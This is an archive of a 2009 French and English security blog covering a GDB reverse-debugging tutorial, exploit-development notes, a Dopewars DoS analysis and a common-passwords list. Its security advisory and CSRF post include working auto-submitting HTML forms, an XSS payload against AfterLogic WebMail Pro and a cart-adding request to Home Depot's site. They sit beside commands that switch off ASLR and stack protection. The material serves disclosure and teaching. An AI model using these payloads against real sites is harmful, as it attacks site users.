mardi 24 novembre 2009

FAIL@Microsoft

Ce matin je voulais tester l'outil de révision de code CAT.NET de Microsoft. Pendant l'installation de .NET Framework 4.0 Beta 2, j'ai obtenu la fenêtre suivante :



Le texte de la licence doit faire une vingtaine de page et est affiché dans un fente d'à peine 1 pouce de hauteur. Si Microsoft veut que l'on accepte ses licences sans les lire, aussi bien nous le dire directement.

Plus tard, je télécharge Web Application Configuration Analyzer (WACA), un autre outil de Microsoft. J'obtiens la page suivante :
 


Je crois qu'une relecture du point 6 du Top 10 OWASP s'impose...

vendredi 13 novembre 2009

Présentation sur le fuzzing et les tests d'intrusions

Le 7 novembre dernier, je faisais une présentation avec mon collègue Éric Gingras au Hackfest 2009. Notre présentation portait sur le fuzzing et les tests d'intrusion. Elle est maintenant disponible en téléchargement.

samedi 17 octobre 2009

GDB reverse debugging tutorial

Update : Thanks to Michael Snyder for the tip on making watchpoints work.

GDB 7.0 was released last week with a major new feature : reverse debugging. Even though some related commands are documented in the gdb manual, I have yet to find an article explaining how to use this neat feature. So here it is : my GDB reverse debugging tutorial.

If you are impatient to test it and already know gdb, here are the useful commands :
  • break main
  • run
  • record
  • continue to a certain point
  • reverse-step, reverse-next, reverse-continue, reverse-finish
First, you need to get version 7 of GDB. If like me you are using Arch Linux, then it is already available in the official repositories, else you'll need to go through the compilation process.

Next, compile your program with the -ggdb switch. This is not mandatory but will allow you to follow the program execution line by line (instead of relying on the assembly instructions). For this article, we'll use a very basic C program.

#include <stdio.h>

void foo() {
printf("inside foo()");
int x = 6;
x += 2;
}

int main() {

int x = 0;
x = x+2;
foo();
printf("x = %d\n", x);
x = 4;
return(0);
}

We compile it with the -ggdb switch :

gdb -ggdb -o test test.c

Next we open the program with gdb as usual :

gdb test

Now, we need to record the execution of the program, but we need to first start the program to do so. We'll set a breakpoint on the main function so that the program stops at the very beginning of the code.

(gdb) break main
Breakpoint 1 at 0x80483ed: file test.c, line 11.
(gdb) run
Starting program: /home/ekse/test Breakpoint 1, main () at test.c:11 11 int x = 0;
(gdb)

Our program is now started. To record the execution, simply type the record command :

(gdb) record

The execution is now recorded. We'll now execute the first lines of code with the next command :

(gdb) next
12 x = x+2;
(gdb) next
13 foo();
(gdb) print x
$1 = 2
As you can see, the value of the x variable is now 2. Now, we can go back one line with the reverse-next command :

(gdb) reverse-next
12 x = x+2;
(gdb) print x
$2 = 0
Reverse execution worked as expected ! Breakpoints also work in reverse execution. For example, we'll set a breakpoint on the line 16 to stop just before the end of the program.

(gdb) break 16
Breakpoint 5 at 0x8048414: file test.c, line 16.
(gdb) cont
Continuing. inside foo()x = 2
Breakpoint 5, main () at test.c:16 15 return(0);

We are now at the end of the program. Now let's say we want to go back to when the foo() function was called. We set a breakpoint on it and use reverse-continue :

(gdb) break foo
Breakpoint 6 at 0x80483ca: file test.c, line 4.
(gdb) reverse-continue
Continuing.

Breakpoint 6, foo () at test.c:4
4 printf("inside foo()");

It is also possible to use watchpoints. By using the watch command, we can make the program stop when the value of a variable is changed. To make it work, we must disable hardware watchpoints prior to setting our watchpoint :


(gdb) set can-use-hw-watchpoints 0
(gdb) watch x
Watchpoint 3: x
(gdb) reverse-continue
Continuing.
Watchpoint 3: x

Old value = 4
New value = 2
main () at test.c:14
14 x = 4;

Unfortunately, the reverse execution support is not perfect. For example, if you continue the program further, it will remove the breakpoint when reaching the printf() call inside of foo() Looking at the backtrace makes it obvious that GDB is confused about it's current location the code (that might be because the stack is not completely reconstructed when executing backwards):

(gdb) reverse-continue
Continuing.

Watchpoint 3 deleted because the program has left the block in
which its expression is valid.
0xb7ec6ea3 in vfprintf () from /lib/libc.so.6
(gdb) list foo
1 #include
2
3 void foo() {
4 printf("inside foo()");
5 int x = 6;
6 x += 2;
7 }
8
9 int main() {
10
(gdb) backtrace
#0 0xb7ec6ea3 in vfprintf () from /lib/libc.so.6
#1 0x00000000 in ?? ()

Still, reverse debugging is a really neat feature and with further enhancement it could become a game changer and avoid many headaches to programmers and QA workers.

mercredi 7 octobre 2009

Analyse : Dopewars 1.5.12 Server Denial of Service

Dans cet article, je fais l'analyse d'un Denial of Service découvert dans le serveur du jeu Dopewars 1.5.12. Le bug a été découvert par dougtko et l'avis original peut-être lu ici : http://seclists.org/bugtraq/2009/Oct/36.

Le problème est rencontré lorsqu'un joueur utilise un jet pour se déplacer. Le code fautif est le suivant :

serverside.c : ligne 505
case C_REQUESTJET:
i = atoi(Data);
...
Plus loin, la valeur est utilisée de cette façon :
else if (i != Play->IsAt && (NumTurns == 0 || Play->Turn <>EventNum == E_NONE && Play->Health > 0) {
dopelog(4, LF_SERVER, "%s jets to %s", GetPlayerName(Play), Location[i].Name);
...
Location est un tableau de structures LOCATION qui représentent les villes du jeu. Comme le jeu ne contient que 8 villes, il est possible de lire bien en dehors du tableau. En utilisant une adresse suffisamment grande, une lecture en dehors de la limite de la mémoire du programme sera tenté ce qui cause un erreur de segmentation et fait planter le serveur.

Pour corriger le problème, le code suivant a été ajouté après avoir récupéré la valeur de i :

/* Make sure value is within range */
if (i <>= NumLocation) {
dopelog(3, LF_SERVER, _("%s: DENIED jet to invalid location %s"), GetPlayerName(Play), Data);
break;
}

mercredi 30 septembre 2009

Security Advisory : Cross-Site Scripting flaw in AfterLogic WebMail Pro

Security Advisory : Cross-Site Scripting flaw in AfterLogic WebMail Pro


Description
-------------
AfterLogic WebMail Pro is vulnerable to Cross-Site Scripting, allowing injection
of malicious code in the context of the application.

Overview
-----------
Quote from http://www.afterlogic.com/products/webmail-pro :
"Webmail front-end for your existing POP3/IMAP mail server. Offer your users
the fast AJAX webmail and innovative calendar with sharing. Stay in control
with the admin panel and the developer's API."

Details
--------
Vulnerable Product : AfterLogic WebMail Pro <= 4.7.10
Vulnerability Type : Cross-Site Scripting (XSS)
Affected page : history-storage.aspx
Vulnerable parameters : HistoryKey, HistoryStorageObjectName
Discovered by : Sébastien Duquette (http://intheknow-security.blogspot.com)
Gardien Virtuel (www.gardienvirtuel.com)
Advisory : http://www.gardienvirtuel.com/fichiers/documents/publications/GVI_2009-01_EN.txt

Timeline
----------
Bug Discovered : September 18th, 2009
Vendor Advised : September 23rd, 2009
Fix made available : September 30th, 2009

Proof of concept
-------------------
The targeted user must be logged in the webmail. This proof of concept was
successfully tested in Firefox 3.5 and Internet Explorer 8.

<html>
<head>
</head>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://WEBSITE/history-storage.aspx?param=0.21188772204998574" onsubmit="return false;">
<input type="hidden" name="HistoryKey" value="value">
<input type="hidden" name="HistoryStorageObjectName" value="location; alert('xss'); //">
</form>
</body>
</html>

Solution
---------
The vendor has made available a patched version. Update to AfterLogic Webmail Pro 4.7.11

mardi 15 septembre 2009

Retracer la source d'une image avec TinEye

Depuis quelque temps, j'utilise le service Twitter pour me tenir au courant de ce qui se passe dans le monde de la sécurité informatique. Comme tout ce qui existe sur le web, il n'a pas fallu grand temps avant que Twitter soit ciblé par le spam. Généralement, le spam se présente de cette façon : vous recevez un message de Twitter vous indiquant que quelqu'un désire s'abonner à votre profil. La photo de cette personne est généralement d'une fille sexy, souvent peu vêtue. Voici un exemple d'invitation que j'ai reçu ce matin :


De nombreux indices laisse deviner qu'il s'agit bien de spam : le fait que ce compte suit un grand nombre de personnes (66) alors que personne ne le suit, le compte a envoyé très peu de messages et ils contiennent des URL vers des sites qui désirent vous offrir quelque à vendre ou qui tentent d'infecter votre PC.

Une autre méthode pour déterminer sur un compte est légitime est de retracer la source de la photo utilisée sur le profil. Le site TinEye.com permet de retracer les sites qui contiennent la même image. En recherchant l'image du compte on obtient les résultats suivants (l'image originale s'appellait 15136422_sexykirstel_24_bigger.gif alors que le compte est au nom d'une supposée Wilda, ce qui nous indique aussi qu'il s'agit d'un faux compte) :



TinEye a retrouvé la même image sur 5 sites différents et qui n'ont aucun rapport avec notre nouvelle amie. La meilleure chose à faire est de tout simplement ignorer le message.

samedi 12 septembre 2009

Les 250 mots de passes les plus utilisés

Dernièrement j'ai découvert la liste des 250 mots de passe les plus utilisés sur Internet. Cette liste est basée sur les mots de passes des sites Singles.com, phpBB et MySpace qui ont été publiés suite au piratage de ces sites.

Je voulais obtenir la liste des mots de passe au format texte puisque la plupart des outils de sécurité (john, medusa, etc.) utilise ce format. J'ai donc écrit un petit script Ruby en utilisant Hpricot, un parseur HTML. Après avoir extrait le tableau du document original, le simple script suivant a fait le travail.

require 'rubygems'
require 'hpricot'

doc = Hpricot(open("common_passwords.html"))

counter = 1
(doc/"td").each do |td|
if counter % 3 == 0 then
puts td.inner_html
end
counter = counter + 1
end

La liste des mots de passe est disponible ici : http://sites.google.com/site/ekse0x/top250_passwords.txt

Pour ceux que ça intéresse, un tutoriel sur Hpricot : http://soledadpenades.com/2007/06/15/extracting-data-with-hpricot/


La liste est intéressante car elle nous donne une indication très représentative des mots de passe utilisés par les gens. On peut par exemple voir que le mot de passe le plus utilisé, 123456, représente 1.12% de tous les mots passe, ce qui veut dire qu'une personne sur 100 l'utilise. Les 25 mots de passe les plus utilisés représente 5% des mots de passes les plus utilisés. C'est énorme. Toute personne qui utilise l'un de ces mots de passes courre le risque que quelqu'un devine son mot de passe et accède à son compte.

Autre détail intéressant, le nom du site apparait assez haut dans la liste des mots de passe les plus populaire pour chacun des sites :

  • phpbb - 3e position
  • myspace1 - 7e position
  • single - 14e position
Une bonne pratique pour les administrateurs de ces sites serait d'interdire d'utiliser le nom du site et les termes qui s'en rapproche comme mot de passe.

Pour plus d'analyse, je vous invite fortement à lire le document original : http://blog.jimmyr.com/Password_analysis_of_databases_that_were_hacked_28_2009.php

vendredi 14 août 2009

Désactiver les protections sous Linux pour pratiquer le développement d'exploit


Je suis actuellement à parfaire mes connaissances sur le développement d'exploit pour utiliser des vulnérabilités de type buffer overflow. Armé de ma bible (En rétrospective The Shellcoder Handbook n'est pas un très bon livre pour apprendre l'exploitation, la progression est erratique et des techniques essentielles aujourd'hui comme ROP n'y sont pas présentées. Pour commener je recommande les tutoriels de Corelan Team, les outils de reversing sous Windows sont plus évoluées ce qui rend aussi l'apprentissage plus simple), je tente actuellement de mettre en pratique les différentes techniques (stack overflow, heap overflow, format strings bug, GOT rewriting etc.) en complétant les exercices Insecure Programming by example de gera.

Linux est la plateforme idéale pour pratiquer ces techniques puisque le système est bien documenté, le code source est accessible et de nombreux outils sont disponibles. Toutefois, les distributions récentes sont livrées avec plusieurs protections qui complexifient le développement d'exploit. Voici donc une liste de commandes pratiques pour désactiver ces protections.

Réglages du système
  • Activer les coredumps : ulimit -c unlimited
  • Désactiver l'ASLR : Ajouter kernel.randomize_va_space = 0 à /etc/sysctl.conf
  • Désactiver la détection de heap overflow : export MALLOC_CHECK_=0
Compiler avec les options suivantes :
  • -ggdb : activer le support pour le déboggeur gdb
  • -mpreferred-stack-boundary=2 : Évite que gcc aligne les variables différemment sur la stack
  • -fno-stack-protector : Désactive la protection de la stack avec ProPolice (activé sur Gentoo et Ubuntu)
Executables
  • Rendre la stack executable : execstack -s

Évidemment, je vous recommande fortement de pratiquer sur une machine virtuelle ou une machine dédiée puisque le fait de désactiver les protections rend l'ensemble des programmes vulnérables.

Merci à Phil pour la méthode pour désactiver ProPolice.

vendredi 7 août 2009

Exploitation via DTORS and mitigating factors in GCC 4.4

The rewriting of the DTORS section is a fairly known technique to exploit a program compiled with GCC. Described shortly, the DTORS section makes it possible to call function after the execution of a program. For example, adding the following code will have the effect of calling the stop() function after the execution of the main() function :

void stop() __attribute__ ((destructor));

void stop() {
printf("THE END\n");
}

The list of of functions to be called at the end of the program are written in the DTORS section, which is writable and thus can be used to redirect execution. For more details concerning this technique, consult the following article.

While trying to use this technique I found that it wasn't working if there where no destructor functions in the original code (contrarily to what is said in the first edition of The Art of Exploitation and in the article cited above). A look at the assembly code explains why :

First, the nm command gives us the location of the DTORS section.

$ nm no_dtors
080496a8 D __DTOR_END__
080496a4 d __DTOR_LIST__

Next, we look at the content of the __do_global_dtors which is handling the task of calling the destructors. We obtain the code with the objdump -d no_dtors command.

08048440 <__do_global_dtors_aux>:
8048440: 55 push %ebp
8048441: 89 e5 mov %esp,%ebp
8048443: 53 push %ebx
8048444: 83 ec 04 sub $0x4,%esp
8048447: 80 3d bc 97 04 08 00 cmpb $0x0,0x80497bc
804844e: 75 3f jne 804848f <__do_global_dtors_aux+0x4f>
8048450: a1 c0 97 04 08 mov 0x80497c0,%eax
8048455: bb a8 96 04 08 mov $0x80496a8,%ebx
804845a: 81 eb a4 96 04 08 sub $0x80496a4,%ebx

8048460: c1 fb 02 sar $0x2,%ebx
8048463: 83 eb 01 sub $0x1,%ebx
8048466: 39 d8 cmp %ebx,%eax
8048468: 73 1e jae 8048488 <__do_global_dtors_aux+0x48>
804846a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8048470: 83 c0 01 add $0x1,%eax
8048473: a3 c0 97 04 08 mov %eax,0x80497c0
8048478: ff 14 85 a4 96 04 08 call *0x80496a4(,%eax,4)
804847f: a1 c0 97 04 08 mov 0x80497c0,%eax
8048484: 39 d8 cmp %ebx,%eax
8048486: 72 e8 jb 8048470 <__do_global_dtors_aux+0x30>
8048488: c6 05 bc 97 04 08 01 movb $0x1,0x80497bc
804848f: 83 c4 04 add $0x4,%esp
8048492: 5b pop %ebx
8048493: 5d pop %ebp
8048494: c3 ret
8048495: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048499: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi

The code excerpt is fairly long so I put the interesting part in blue. We can see that the adresses of the beginning and the end of the DTORS section (in red) are directly in the code. In fact, the beginning address is subtracted to the end address to determine the length of the DTORS section. The next instructions (sar and sub) are used to check if the length of the section is smaller or equal to 4 bytes. If it's the case then the execution jumps to the adress 0x08048488 and the content of the DTORS section is never read (the call instruction in red is never reached).

The program used as an example didn't have any destructor so it wasn't exploitable. If we add a destructor to the code, we obtain the following result :

8048455: bb ac 96 04 08 mov $0x80496ac,%ebx
804845a: 81 eb a4 96 04 08 sub $0x80496a4,%ebx

This time, the length of the DTORS section is 8 bytes and the addresses that it contains (in this case just one) are called.

I think that the behaviour generated by GCC was changed in the recent versions to limit the risks of DTORS exploitation, since most programs don't have destructors. I didn't look at GCC's source code though.

Exploitation via DTORS et facteur de mitigation dans gcc 4.4

La réécriture de la table DTORS est une technique connue pour exploiter un programme compilé avec GCC. En gros, DTORS permet d'appeler des fonctions à la fin du programme. Par exemple en ajoutant le code suivant, la fonction stop() sera appelée après l'exécution de la fonction main :

void stop() __attribute__ ((destructor));

void stop() {
printf("THE END\n");
}

La liste des fonctions à appeler après l'exécution du programme est placée dans la section DTORS, qui est accessible en écriture et qui peut donc être réécrite. Pour plus de détails sur cette technique, consulter cet article.

En tentant de mettre cette technique en œuvre, j'ai découvert que cela ne fonctionnait pas lorsqu'aucune fonction n'avait été déclarée comme destructor dans le code (contrairement à ce qui est dit dans la première édition de The Art of Exploitation et dans l'article cité précédemment). Une vérification du code assembleur nous explique pourquoi.

La commande nm nous permet de connaitre l'emplacement de la section DTORS :

$ nm no_dtors
080496a8 D __DTOR_END__
080496a4 d __DTOR_LIST__

Maintenant, examinons le contenu de la fonction __do_global_dtors_aux qui s'occupe d'appeler les destructeurs obtenu grâce à la commande objdump -d no_dtors.

08048440 <__do_global_dtors_aux>:
8048440: 55 push %ebp
8048441: 89 e5 mov %esp,%ebp
8048443: 53 push %ebx
8048444: 83 ec 04 sub $0x4,%esp
8048447: 80 3d bc 97 04 08 00 cmpb $0x0,0x80497bc
804844e: 75 3f jne 804848f <__do_global_dtors_aux+0x4f>
8048450: a1 c0 97 04 08 mov 0x80497c0,%eax
8048455: bb a8 96 04 08 mov $0x80496a8,%ebx
804845a: 81 eb a4 96 04 08 sub $0x80496a4,%ebx

8048460: c1 fb 02 sar $0x2,%ebx
8048463: 83 eb 01 sub $0x1,%ebx
8048466: 39 d8 cmp %ebx,%eax
8048468: 73 1e jae 8048488 <__do_global_dtors_aux+0x48>
804846a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8048470: 83 c0 01 add $0x1,%eax
8048473: a3 c0 97 04 08 mov %eax,0x80497c0
8048478: ff 14 85 a4 96 04 08 call *0x80496a4(,%eax,4)
804847f: a1 c0 97 04 08 mov 0x80497c0,%eax
8048484: 39 d8 cmp %ebx,%eax
8048486: 72 e8 jb 8048470 <__do_global_dtors_aux+0x30>
8048488: c6 05 bc 97 04 08 01 movb $0x1,0x80497bc
804848f: 83 c4 04 add $0x4,%esp
8048492: 5b pop %ebx
8048493: 5d pop %ebp
8048494: c3 ret
8048495: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048499: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi

Le code est assez long, j'ai mis la section intéressante en bleu. On remarque que les adresses de début et de fin de DTORS sont manipulées directement. En fait, l'adresse de début est soustraite à l'adresse de fin pour déterminer la longueur de la section. Les opérations suivantes (sar et sub) servent en fait à déterminer si la longueur de la section est inférieure ou égale à 4 octets. Si tel est le cas, l'exécution saute à 0x08048488 ce qui fait que le contenu de la section n'est pas inspectée et il n'y a pas d'appel fonctions (via le call en rouge).

Le programme utilisé comme exemple n'avait pas de fonction destructor est n'est donc pas exploitable. Si nous ajoutons une fonction destructor au code, nous obtenons le résultat suivant :

8048455: bb ac 96 04 08 mov $0x80496ac,%ebx
804845a: 81 eb a4 96 04 08 sub $0x80496a4,%ebx

Dans ce cas, la longueur de la section est 8 octets ce qui fait que les adresses qui s'y trouve sont appelées.

J'ai l'impression que le comportement généré par GCC a été changée dans les dernières versions pour limiter les possibilités d'exploitation, la plupart des programmes ne faisant pas appel à des fonctions destructors. Je n'ai par contre pas vérifié l'historique du code source de GCC pour en être sûr.

vendredi 10 juillet 2009

Soumission acceptée sur datalossdb.org

Je ne suis pas très actif sur ce blogue dernièrement mais cela n'implique pas que je suis moins intéressé par la sécurité informatique en ce moment. Au contraire, je continue de m'informer énormément (cette liste est aussi disponible au format OPML et peut être importée directement dans Google Reader). J'ai aussi quelques projets toujours en réflexion.

Le site datalossdb.org vient de publier ma première contribution qui porte sur le vol d'information de dossiers de santé de près de 11,500 patients de Alberta Health Services par un virus. Si vous ne connaissez pas déjà datalossdb.org, je vous invite fortement à y faire une petite visite virtuelle ou à vous abonner à leur flux RSS. La quantité et la taille des fuites d'information est tous simplement astronomique et il s'agit d'un réel problème qui devra être corrigé dans les années à venir, avec la digitalisation de la presque totalité de l'information.

vendredi 12 juin 2009

CSRF via des requêtes POST


Dans un article publié cette semaine, Mike Bailey mettait en évidence la possibilité d'ajouter des articles dans les paniers d'achats de Walmart.com ou de faire apparaitre des articles dans la liste des articles récemment consultés de Ebay et Amazon en utilisant du CSRF.

Si Ebay et Amazon sont vulnérables à ce type de problème, il est fortement probable que d'autres sites ait ce genre de problème. Et c'est le cas : une recherche rapide m'a permis de découvrir que les sites de Dumoulin, HMV, Apple, NewEgg, La Source et Home Depot ont aussi ce problème. Pour en faire l'expérience, ouvrez chacun de ces sites pour initialiser vos cookies et ensuite ouvrez ce lien. Vous devriez retrouver plusieurs articles dans vos paniers d'achats.

De simples URL du genre http://hmv.com/hmvweb/addToBasket.do?ctx=280;-1;-1;-1;-1&sku=796148 sont suffisantes pour ajouter les articles, à l'exception du site de Home Depot qui nécessite l'envoie d'un formulaire via une requête POST. Il est recommandé de ne pas utiliser les requêtes GET pour des actions qui changent l'état de l'application web. Celà semble avoir mené à la croyance que l'utilisation de requêtes POST permet d'éviter les CSRF.

Ce n'est toutefois pas le cas car il possible d'envoyer des requêtes POST à un site différent grâce à du Javascript. En voici un exemple :

<body onLoad="document.form1.submit()">
<form name="form1" method="post" action="http://www.homedepot.ca/webapp/wcs/stores/servlet/OrderItemAdd" onSubmit="return false;">
<input type="hidden" name="cartAction" value="AddToCart"/>
<input type="hidden" name="productId" value="1951151164647560"/>
<input type="hidden" name="catEntryId" value="1951151164647560"/>
<input type="hidden" name="quantity" value="1"/>
<input type="hidden" name="URL" value="OrderCalculate?URL=OrderItemDisplay"/>
<input type="hidden" name="orderId" value="."/>
<input type="hidden" name="storeId" value="10051"/>
<input type="hidden" name="catalogId" value="10051"/>
</form>


Cette requête envoie le formulaire au chargement de la page dans le contexte de l'utilisateur, c'est-à-dire que le cookie de l'utilisateur sera envoyé avec la requête s'il existe.

jeudi 11 juin 2009

Nouvelle édition de phrack


Le célèbre magazine phrack vient de publier une nouvelle édition. La derniere parution datait de mars 2008. Bonne lecture!

vendredi 22 mai 2009

Quelques XSS pour la route

Quelques petits XSS trouvés dernièrement.

mypictures.bell.ca
On pourrait être porté à croire que je m'acharne sur Bell Canada mais je ne le fait vraiment pas intentionnellement.


familyguydirect.com
J'attire votre attention sur l'erreur SQL au haut de la page (Injection anybody?) .


samedi 2 mai 2009

Visualiser le code source d'un logiciel

En tant qu'informaticien, il m'arrive souvent de lire le code source d'un logiciel, que ce soit pour en comprendre le fonctionnement, pour y faire des modifications ou pour trouver des problèmes de sécurité. Un logiciel pouvant facilement être composé de plusieurs milliers de lignes de code, des moyens pour comprendre la structure du code deviennent essentiels.

Lorsque j'explore le code source d'un nouveau logiciel, j'utilise WinDirStat. WinDirStat représente graphiquement un dossier en fonction de la taille et du type des fichiers. Si ce logiciel est fort utile pour trouver les fichiers occupant le plus d'espace sur un disque dur, il permet aussi de connaitre rapidement la structure d'un logiciel à partir de son code source.


Cette image représente le code source de l'IDS OSSEC vu par WinDirStat. On peut facilement voir les fichiers les plus volumineux. Les fichiers en bleu représentent du code source en langage C. On peut voir que la section du code de syscheck, encadrée en blanc, est une portion importante du logiciel.

WinDirStat est un logiciel libre et gratuit pour Windows. La prochaine version devrait permettre de sauvegarder le résultat d'un analyse, une fonction pratique pour les codes sources volumineux.

Pour terminer, je vous conseille fortement de lire Security Data Visualization de Greg Conti. Il y présente plusieurs méthodes pour représenter visuellement des données pour y distinguer des situtations difficiles à identifier autrement.

samedi 4 avril 2009

Utiliser FoxyProxy pour tester la sécurité d'un site web


Avec la popularité grandissante du web et des attaques qui y sont associées, plusieurs outils sont rendus disponibles. Un type d'outil fort utile est les proxy spécialisés, par exemple WebScarab, Burp Suite, Paros. Ces proxy permettent de modifier les requêtes envoyées au serveur afin de trouver des failles.

Pour les utiliser, il faut configurer son navigateur pour utiliser un proxy. Avec Firefox, il devient rapidement lassant d'aller dans le menu pour éditer manuellement la configuration chaque fois qu'on veut activer/désactiver le proxy. Une solution élégante : utiliser FoxyProxy. FoxyProxy est un addon qui vous permet de configurer plusieurs proxy et de les activer en appuyant sur un simple bouton.

Mais encore mieux, vous pouvez définir des règles pour déterminer quel proxy utiliser. Pour activer un proxy uniquement pour les connexions locales, on ajoute par exemple la règle suivante :
http*://127.0.0.1/*
De cette façon, seules les requêtes pertinentes sont interceptées. Évidemment, il est préférable d'utiliser un profil séparé pour faire ce genre de tests, mais si vous êtes comme moi vous faites surement une vingtaine de choses en même temps et pouvoir ségréger le trafic de cette façon se révèle vraiment utile.